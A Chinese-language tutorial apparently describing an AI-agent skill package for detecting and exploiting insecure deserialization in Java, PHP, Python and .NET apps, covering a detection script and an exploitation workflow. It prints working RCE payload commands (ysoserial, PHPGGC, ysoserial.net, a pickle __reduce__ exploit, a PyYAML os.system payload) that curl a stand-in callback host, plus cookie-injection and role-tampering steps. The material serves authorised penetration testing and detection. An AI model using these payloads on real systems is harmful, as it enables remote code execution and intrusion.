企业官网建设流程全解析

Anthropic-Cybersecurity-Skills 实战：构建 Java / PHP / Python / .NET 不安全反序列化检测 Agent

【免费下载链接】Anthropic-Cybersecurity-Skills817 structured cybersecurity skills for AI agents · Mapped to 6 frameworks: MITRE ATT&CK, NIST CSF 2.0, MITRE ATLAS, D3FEND, NIST AI RMF & MITRE F3 (Fight Fraud) · agentskills.io standard · Works with Claude Code, GitHub Copilot, Codex CLI, Cursor, Gemini CLI & 20+ platforms · 29 security domains · Apache 2.0项目地址: https://gitcode.com/GitHub_Trending/an/Anthropic-Cybersecurity-Skills

导读

本文围绕仓库中exploiting-insecure-deserialization技能包展开，它以 api-reference.md 为 API 契约、以 SKILL.md 为攻击流程指南、以 agent.py 为可运行实现，构成一套面向 AI Agent 的"不安全反序列化检测"完整方案。读完本文，你将掌握：如何用一条 CLI 命令自动扫描 HTTP 流量中的序列化特征（Java、.NET ViewState、PHP、Python pickle），如何生成 URLDNS /__reduce__等带外（OOB）探测载荷，以及如何配合 ysoserial、PHPGGC、ysoserial.net 完成授权的反序列化 RCE 验证并输出标准化报告。

一、技能包定位：Agent 可执行的 Web 安全检测单元

在 SKILL.md 的元数据中，该技能被定义为domain: cybersecurity、subdomain: web-application-security，关键标签包括deserialization、rce、owasp、ysoserial，并明确限定其使用场景为"授权渗透测试中对 Java、PHP、Python、.NET 应用的不安全反序列化进行识别与利用"。

它在框架映射上也相当完整：

整个技能包的文件结构非常简洁，遵循SKILL.md + references + scripts的 Agent 技能标准：

skills/exploiting-insecure-deserialization/ ├── SKILL.md # 使用时机、前置条件、六步攻击工作流、输出模板 ├── references/ │ └── api-reference.md # 检测 Agent 的 API 契约（依赖、CLI、函数、输出 Schema） ├── scripts/ │ └── agent.py # 检测 Agent 的可运行实现（约 180 行） └── LICENSE # Apache-2.0

二、检测 Agent 依赖与运行环境

根据 api-reference.md，检测 Agent 的依赖极轻，只需两块：

在 agent.py 中可以看到，requests是唯一的外部依赖，导入失败时会直接提示pip install requests；pickle则在test_python_pickle函数内部按需导入。这意味着该 Agent 可以在最小化的 Python 3 环境中直接运行，非常适合嵌入 CI/CD、SOAR 剧本或作为 Agent 的一次性检测工具。

三、CLI 用法：一条命令完成整站扫描

检测 Agent 的入口是scripts/agent.py，其标准调用方式如下：

python scripts/agent.py --url https://target.example.com/dashboard \ --callback oob.attacker.com --output deser_report.json

对应源码中 main() 的参数定义，三个参数的含义与默认值分别为：

执行后，Agent 会：

1. 调用run_assessment(url, callback_host)编排完整扫描；
2. 将报告写入--output指定的 JSON 文件；
3. 同时在终端以json.dumps(report, indent=2)打印可读报告。

四、核心函数族：从识别到探测的完整链路

4.1detect_serialization_format(data) -> str：格式识别器

该函数是整套检测能力的"眼"，输入一个字符串，输出java_serialized、java_gzipped_serialized、dotnet_viewstate、php_serialized、java_serialized_base64、python_pickle之一，无法识别时返回None。

从 agent.py 的 detect_serialization_format 的实现看，识别优先级依次为：

• 以rO0AB开头 → Java Base64 序列化；
• 以H4sIAAAAAAAA开头 → Gzip 压缩后的 Java 序列化（对应 SKILL.md 中提到的 Gzip+Base64 特征）；
• 以/wE开头 → .NET ViewState；
• 匹配[OaCsid]:\d+:正则 → PHP 序列化（对象O:、数组a:、字符串s:等标记）；
• 对值的前 16 字节做 Base64 解码，解码后以\xac\xed\x00\x05（JAVA_MAGIC）开头 → Base64 包裹的 Java 二进制流；首字节为\x80→ Python pickle（协议版本字节）。

4.2scan_cookies(url, session) -> list：Cookie 扫描

使用requests.Session对目标 URL 发起 GET 请求，遍历响应中的每个 Cookie，用detect_serialization_format逐一判定其 value，命中则记录location、name、format、value_preview（前 60 字符）与domain。源码中通过logger.warning输出告警，便于在扫描日志中快速定位。这是检测"Session Cookie 存序列化对象"这一最常见场景的核心手段。

4.3scan_response_body(url, method, data) -> list：响应体扫描

支持指定 HTTP 方法与 JSON 请求体，对响应文本做三类正则匹配（见 scan_response_body）：

• rO0AB[A-Za-z0-9+/=]{10,}→ 内嵌的 Java Base64 序列化对象；
• [OaCsid]:\d+:→ PHP 序列化对象/数组标记；
• __VIEWSTATE[^"]*"([^"]+)"→ ASP.NET 表单中的 ViewState 隐藏字段。

每个命中都会记录location（response_body或viewstate_field）、format与value_preview。

4.4 三类主动探测函数

值得强调的是，Agent 内置的主动探测载荷全部选择无 RCE 副作用的检测型载荷（DNS 回调、角色注入、nslookup），与 SKILL.md 中"URLDNS Gadget 用于安全检测"的定位一致，适合在授权范围内先做无破坏性确认，再进入利用阶段。

4.5run_assessment(url, callback_host) -> dict：总编排器

将 Cookie 扫描与响应体扫描结果聚合，输出target、serialized_data_found（总命中数）、cookie_findings、response_body_findings以及去重后的formats_detected列表（见 run_assessment）。

五、序列化特征速查表：流量中的"指纹"

api-reference.md 给出的序列化标记表是人工排查流量时最常用的速查依据，与detect_serialization_format的实现一一对应：

排查时建议优先检查以下位置：会话 Cookie、隐藏表单字段（__VIEWSTATE、__EVENTVALIDATION）、API 请求/响应体、WebSocket 消息、消息队列载荷（JMS、RabbitMQ、Redis）、缓存条目（Memcached、Redis）。

六、输出 Schema：机器可读的统一报告

Agent 输出遵循 api-reference.md 定义的 JSON Schema：

{ "target": "https://target.example.com/", "serialized_data_found": 2, "cookie_findings": [{"name": "session", "format": "java_serialized"}], "formats_detected": ["java_serialized"] }

该 Schema 由 run_assessment 直接产出（字段名为cookie_findings、response_body_findings、formats_detected），结构化的输出使 Agent 可以轻松将结果投递给下一环节——例如拼接到 SKILL.md 提供的"Finding 模板"中生成最终漏洞报告。

七、从"检出"到"利用"：SKILL.md 六步工作流

检测 Agent 解决的是"找出反序列化入口"，而 SKILL.md 给出了从检出到确认 RCE 的完整利用工作流，两者配合才是完整闭环：

Step 1 识别流量中的序列化数据

用上文特征表在 Burp 代理历史中搜索rO0AB等特征，或直接对疑似值解码验证：

echo "rO0ABXNyABFqYXZhLnV0aWwuSGFzaE1hcA..." | base64 -d | xxd | head

Step 2 Java：ysoserial 生成载荷

以 URLDNS 作无副作用探测，以 CommonsCollections / Spring / Hibernate 等 gadget chain 验证 RCE：

# 最安全的探测载荷（仅 DNS 回调） java -jar ysoserial.jar URLDNS "http://java-deser.abc123.oast.fun" | base64 -w0 # 常用 RCE gadget chain java -jar ysoserial.jar CommonsCollections5 "whoami" | base64 -w0 java -jar ysoserial.jar Spring1 "curl http://abc123.oast.fun/spring" | base64 -w0 # 注入 Cookie 发送 PAYLOAD=$(java -jar ysoserial.jar CommonsCollections5 "curl http://abc123.oast.fun/confirm" | base64 -w0) curl -s -X POST -b "session=$PAYLOAD" "https://target.example.com/dashboard"

Step 3 PHP：PHPGGC 生成 gadget chain

针对 Laravel、Symfony、WordPress（Guzzle）、Monolog 等框架：

./phpggc -l # 列出可用链 ./phpggc Laravel/RCE1 system "id" -b # Laravel RCE ./phpggc Symfony/RCE4 exec "curl http://abc123.oast.fun/php-rce" -b ./phpggc Guzzle/RCE1 system "id" -b # WordPress 场景

SKILL.md 还提示了两种 PHP 对象注入变形：修改序列化串中的role字段实现越权（s:4:"user"→s:5:"admin"），以及用类型混淆（s:4:"role"→i:1）绕过部分校验。

Step 4 .NET：ysoserial.net 与 ViewState

先确认目标是否启用 ViewState MAC；未启用或已知 machine key 时，可构造恶意 ViewState：

./ysoserial.exe -g TypeConfuseDelegate -f ObjectStateFormatter \ -c "curl http://abc123.oast.fun/dotnet-rce" -o base64 ./ysoserial.exe -g TextFormattingRunProperties -f BinaryFormatter -c "whoami" -o base64

同时留意Content-Type: application/octet-stream/application/x-msbin的 BinaryFormatter API 端点与.rem远程调用端点。

Step 5 Python：pickle 与 PyYAML

用__reduce__构造 RCE 载荷（与 Agent 的test_python_pickle同型但更激进），并覆盖 YAML 反序列化向量：

import pickle, base64, os class Exploit: def __reduce__(self): return (os.system, ('curl http://abc123.oast.fun/pickle-rce',)) payload = base64.b64encode(pickle.dumps(Exploit())).decode() print(f"Pickle payload: {payload}")

# PyYAML 反序列化 curl -s -X POST -H "Content-Type: application/x-yaml" \ -d "!!python/object/apply:os.system ['curl http://abc123.oast.fun/yaml']" \ "https://target.example.com/api/config"

Step 6 确认利用与记录影响

通过 OOB 回调（DNS/HTTP）、时间盲测（sleep 10类载荷对比响应耗时）、命令输出外带（$(whoami)）三重手段确认 RCE，并定位存在漏洞的库版本（如 commons-collections 3.x / 4.0、spring-core、hibernate-core、groovy），最终套用 SKILL.md 自带的"Finding 模板"输出规范报告：

**Vulnerability**: Insecure Deserialization - Remote Code Execution **Severity**: Critical (CVSS 9.8) **OWASP Category**: A08:2021 - Software and Data Integrity Failures

模板还要求给出复现步骤、受影响库（如commons-collections 3.2.1，对应 CVE-2015-7501）、确认影响范围与修复建议（改用 JSON/Protobuf、升级库、启用 JEP 290 反序列化过滤器、类白名单、HMAC 完整性校验）。

八、典型攻击场景速览

SKILL.md 归纳了四个高频场景，与 Agent 的函数能力一一对应：

九、使用边界与合规前提

需要明确两点约束，这也是将本技能包用于生产环境的前提：

1. 授权要求：SKILL.md 的 Prerequisites 第一条即"包含 RCE 测试范围的书面渗透测试协议"，且 agent.py 源码首行注释明确"仅限实验室 / CTF 环境的授权测试"。本技能包定位是授权测试工具，绝非无边界攻击工具。
2. 检测优先：Agent 内置载荷均为无副作用的探测型载荷（DNS 回调 /nslookup/ 角色注入），而 RCE 载荷（ysoserial gadget chain、PHPGGC 链、pickle 系统命令）需要分析师在授权范围内审慎手动生成。

十、小结

exploiting-insecure-deserialization技能包为 AI Agent 提供了"格式识别 → 入口定位 → 载荷探测 → 报告输出"的完整能力链：api-reference.md定义了轻量且机器可读的 Agent 接口，agent.py以约 180 行代码给出了可落地的实现（格式识别、Cookie/响应体扫描、三类 OOB 探测），SKILL.md则补齐了 ysoserial / PHPGGC / ysoserial.net 的实战利用方法论与标准化报告模板。对希望把反序列化检测自动化、Agent 化的团队而言，这是一个结构清晰、可直接嵌入检测流水线的参考实现。

【免费下载链接】Anthropic-Cybersecurity-Skills817 structured cybersecurity skills for AI agents · Mapped to 6 frameworks: MITRE ATT&CK, NIST CSF 2.0, MITRE ATLAS, D3FEND, NIST AI RMF & MITRE F3 (Fight Fraud) · agentskills.io standard · Works with Claude Code, GitHub Copilot, Codex CLI, Cursor, Gemini CLI & 20+ platforms · 29 security domains · Apache 2.0项目地址: https://gitcode.com/GitHub_Trending/an/Anthropic-Cybersecurity-Skills